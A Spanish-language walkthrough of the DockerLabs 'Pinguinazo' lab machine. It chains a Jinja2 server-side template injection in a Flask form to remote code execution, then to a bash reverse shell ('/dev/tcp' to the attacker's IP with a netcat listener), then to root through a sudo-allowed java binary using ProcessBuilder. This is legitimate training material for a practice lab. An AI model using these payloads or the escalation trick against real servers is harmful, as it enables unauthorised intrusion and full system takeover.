// 01
Resumen Ejecutivo
Pinguinazo es una máquina de dificultad Fácil de DockerLabs diseñada para practicar Server-Side Template Injection (SSTI) en aplicaciones Python/Flask con Jinja2, y escalada de privilegios abusando de sudo java. El servidor expone únicamente el puerto 5000 con una aplicación Flask llamada PinguRegistro que renderiza directamente la entrada del usuario en una plantilla Jinja2 — condición suficiente para lograr RCE sin autenticación.
Una vez dentro como el usuario pinguinazo, sudo -l
revela que puede ejecutar /usr/bin/java como cualquier usuario sin
contraseña. Siguiendo la técnica de GTFObins para Java con Sudo, compilamos un pequeño
programa Java que spawna una shell con ProcessBuilder,
lo ejecutamos con sudo java Shell y obtenemos acceso como
root.
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Despliegue | auto_deploy.sh pinguinazo.tar | Contenedor activo en 172.17.0.2 |
| Reconocimiento | nmap -p- -sSCV + xsltproc | Puerto 5000 · Werkzeug Flask (Python 3.12.3) |
| Enumeración Web | Navegador → :5000 | Formulario PinguRegistro — entrada reflejada sin sanitizar |
| Explotación | SSTI Jinja2 via cycler.__init__ | RCE como usuario pinguinazo |
| Reverse Shell | Payload SSTI + nc -nlvp 4444 | Shell interactiva como pinguinazo |
| PrivEsc | sudo java + Shell.java + GTFObins | Shell como root |
// 02
Despliegue del Laboratorio
Desplegamos la máquina con el script de DockerLabs. El contenedor arranca y nos asigna la IP 172.17.0.2. El proceso queda en primer plano y se detiene con Ctrl+C cuando terminemos.
// 03
Reconocimiento
El escaneo revela un único puerto abierto: el 5000/tcp con Werkzeug httpd 3.0.1 corriendo sobre Python 3.12.3. El título de la página es Pingu Flask Web, confirmando que se trata de una aplicación Flask. El servidor Werkzeug en producción es una señal de que la app puede estar en modo desarrollo o mal configurada.
Convertimos el XML de Nmap a un reporte HTML legible usando la hoja de estilos XSL incluida con Nmap. Esto nos permite revisar el escaneo cómodamente en el navegador.
Abrimos http://172.17.0.2:5000/ en el navegador. Encontramos el formulario PinguRegistro con campos: PinguNombre, PinguCumple, PinguEmail y PinguPhone. Al ser una app Flask con Jinja2, probamos si el campo PinguNombre es vulnerable a SSTI inyectando una expresión matemática de prueba.
// DETECCIÓN DE SSTI
El test clásico para SSTI en Jinja2 es {{"{{"}}7*7{{"}}"}}. Si la aplicación renderiza 49 en la respuesta en lugar del string literal, el motor de plantillas está evaluando nuestra entrada — confirmando SSTI.
// 04
Server-Side Template Injection (SSTI)
Confirmada la SSTI, usamos un payload más avanzado que aprovecha el objeto
self._TemplateReference__context de Jinja2
para acceder al módulo os a través del ciclo
de vida de los objetos de contexto. El payload ejecuta id
en el servidor y nos devuelve el resultado en la respuesta HTTP.
// PAYLOAD DE VERIFICACIÓN
Este payload no requiere __builtins__ y funciona directamente sobre cualquier objeto en el contexto de Jinja2:
El servidor ejecuta el comando y devuelve que estamos corriendo como el usuario pinguinazo. Tenemos ejecución remota de código confirmada. El siguiente paso es obtener una reverse shell interactiva.
// 05
Reverse Shell
Antes de generar la reverse shell necesitamos conocer nuestra IP en la interfaz Docker.
Ejecutamos ifconfig y localizamos la IP de la
interfaz eth0: 192.168.111.128. Esta
será la IP a la que el contenedor se conectará de vuelta.
Abrimos un listener en el puerto 4444 de nuestra máquina atacante con Netcat. Este proceso queda esperando la conexión entrante del contenedor.
Usamos el mismo vector SSTI pero ahora el comando es una reverse shell Bash. El payload generado con revshells.com (tipo Bash -i) establece la conexión a nuestra IP y puerto. Lo pegamos en el campo PinguNombre y enviamos el formulario.
// NOTA
La shell que obtenemos es básica (sin TTY completo). Para mejorarla podemos usar: python3 -c 'import pty; pty.spawn("/bin/bash")' seguido de Ctrl+Z, stty raw -echo; fg y luego export TERM=xterm.
// 06
Escalada de Privilegios — sudo Java
Ejecutamos sudo -l para listar qué comandos
puede ejecutar el usuario pinguinazo como root sin contraseña.
El resultado es contundente: puede ejecutar /usr/bin/java
como cualquier usuario con NOPASSWD.
Siguiendo la técnica de GTFObins para Java con Sudo, creamos un
programa Java mínimo que usa ProcessBuilder
para lanzar /bin/sh heredando los
file descriptors del proceso padre. Al ejecutarlo con sudo,
la shell hereda los privilegios de root.
// ATENCIÓN — CASE SENSITIVE
Java distingue mayúsculas: el archivo debe llamarse Shell.java (con S mayúscula) y ejecutarse como sudo java Shell (no shell). Un error común es escribir sudo java shell que resulta en ClassNotFoundException: shell.
Ejecutamos el programa compilado con sudo java Shell.
El proceso Java arranca /bin/sh con UID efectivo de
root gracias al permiso sudo. Verificamos con
whoami.
// MÁQUINA COMPROMETIDA
Acceso root obtenido. Cadena completa: SSTI Jinja2 → RCE → reverse shell pinguinazo → sudo java Shell → root.
// 07
Referencia de Comandos
- -p- — todos los 65535 puertos
- -sSCV — SYN scan + versión + scripts
- -n — sin resolución DNS
- -Pn — no ping previo (asumir host activo)
- --min-rate=5000 — mínimo 5000 paquetes/seg
- --open — solo puertos abiertos
- -oX — output en formato XML
- -n — sin resolución DNS
- -l — modo listener
- -v — verbose (mostrar conexiones)
- -p — especificar puerto
- -l — listar comandos permitidos
- -u user — ejecutar como usuario específico
- NOPASSWD — sin solicitar contraseña
- javac — compila .java → .class
- java — ejecuta el bytecode
- ProcessBuilder — spawna procesos hijos
- inheritIO() — hereda stdin/stdout/stderr
// 08
Glosario
{{ }} son evaluadas como código Python. Si el input del usuario se concatena al template string antes de renderizarlo, el atacante puede ejecutar código arbitrario. La detección clásica es inyectar {{"{{"}}7*7{{"}}"}} — si la respuesta contiene 49, hay SSTI. La explotación va de lectura de variables de entorno hasta RCE completo.{{ variable }}), estructuras de control ({% if %}{% for %}) y filtros. El objeto self._TemplateReference__context es una referencia interna al contexto de la plantilla. A través de él se puede acceder a objetos globales como cycler, joiner o namespace, cuyos métodos __init__ tienen acceso a __globals__ que incluye el módulo os, permitiendo llamar a os.popen() para ejecutar comandos del sistema.sh -i >& /dev/tcp/IP/PORT 0>&1 redirige stdin, stdout y stderr de una shell interactiva a través de un socket TCP hacia la máquina atacante. El atacante escucha con nc -nlvp PORT y recibe la shell cuando el payload se ejecuta.java puede escalar privilegios cuando se ejecuta via sudo. La técnica consiste en compilar una clase Java que use ProcessBuilder("/bin/sh").inheritIO().start().waitFor(). Al llamar a sudo java Shell, la JVM arranca como root y el ProcessBuilder spawna una /bin/sh que hereda el contexto de root mediante inheritIO(). El truco de inheritIO() es que conecta automáticamente el stdin/stdout/stderr del proceso hijo con los del proceso padre (la JVM corriendo como root), dándonos una shell interactiva root sin más configuración.172.17.0.0/16. El despliegue es instantáneo con auto_deploy.sh y la eliminación también: solo Ctrl+C. Ideal para practicar sin límites de tiempo ni instancias concurrentes.